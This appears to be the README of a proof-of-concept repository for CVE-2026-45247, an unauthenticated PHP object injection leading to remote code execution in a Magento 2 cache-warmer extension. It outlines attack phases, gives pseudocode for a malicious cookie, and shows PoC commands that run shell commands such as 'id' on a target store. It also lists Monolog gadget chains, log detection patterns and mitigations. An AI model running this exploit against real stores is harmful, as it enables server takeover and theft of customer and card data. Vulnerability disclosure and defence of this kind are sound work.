CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2 - PHP Object Injection → RCE

📋 Description

CVE-2026-45247 is a critical PHP Object Injection vulnerability in the Mirasvit Full Page Cache Warmer extension for Magento 2 and Adobe Commerce. An unauthenticated attacker can achieve Remote Code Execution (RCE) by sending a malicious serialized PHP object in the CacheWarmer cookie.

The vulnerability lies in the unrestricted call to the native PHP unserialize() function, combined with gadget chains available in Magento and its dependencies (especially Monolog).

🚨 Attack Mechanism

1. The extension processes the CacheWarmer cookie on every store request
2. The cookie value is passed to unserialize() without sanitization
3. An attacker sends a malicious serialized PHP object
4. Using Monolog gadget chains (SyslogUdpHandler, BufferHandler, FingersCrossedHandler), RCE is achieved
5. The command is executed on the server with web service privileges

⚙️ Attack Phases

Phase 1: Reconnaissance

# Verificar si la tienda usa Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md

Phase 2: Vulnerability Analysis

# La cookie se procesa en cada request sin autenticación
# El código vulnerable en Mirasvit:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue));  # ¡Peligro!

Phase 3: Exploit Execution

# Construcción de la cookie maliciosa
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"

# Envío de la petición
requests.get(target, cookies={'CacheWarmer': cookie_value})

🛠️ PoC Usage

Installation

git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests

Basic Execution

# Verificar vulnerabilidad
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only

# Ejecutar comando 'id'
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"

# Ejecutar comando personalizado
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"

# Usar proxy para depuración
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080

Quick Script

# Verificar con script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com

📊 Demonstrated Impact

• Remote command execution (RCE) on the Magento server
• Full access to customer and order database
• Installation of webshells for persistence
• Total compromise of the online store
• Potential leakage of credit card data
• Lateral movement in the corporate infrastructure

🛡️ Detection

Indicators of Compromise (IOCs)

In access logs:

CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+

Commands observed in exploitation:

echo PWNED_CVE2026_$(date +%s)
sleep 5

Gadget chains used:

• Monolog\Handler\SyslogUdpHandler
• Monolog\Handler\BufferHandler
• Monolog\Handler\FingersCrossedHandler
• Monolog\Handler\GroupHandler

🔧 Mitigation

Immediate Update

# Actualizar a versión parcheada
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush

Temporary Mitigations

# Bloquear cookie CacheWarmer en .htaccess o nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]

// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
    unset($_COOKIE['CacheWarmer']);
}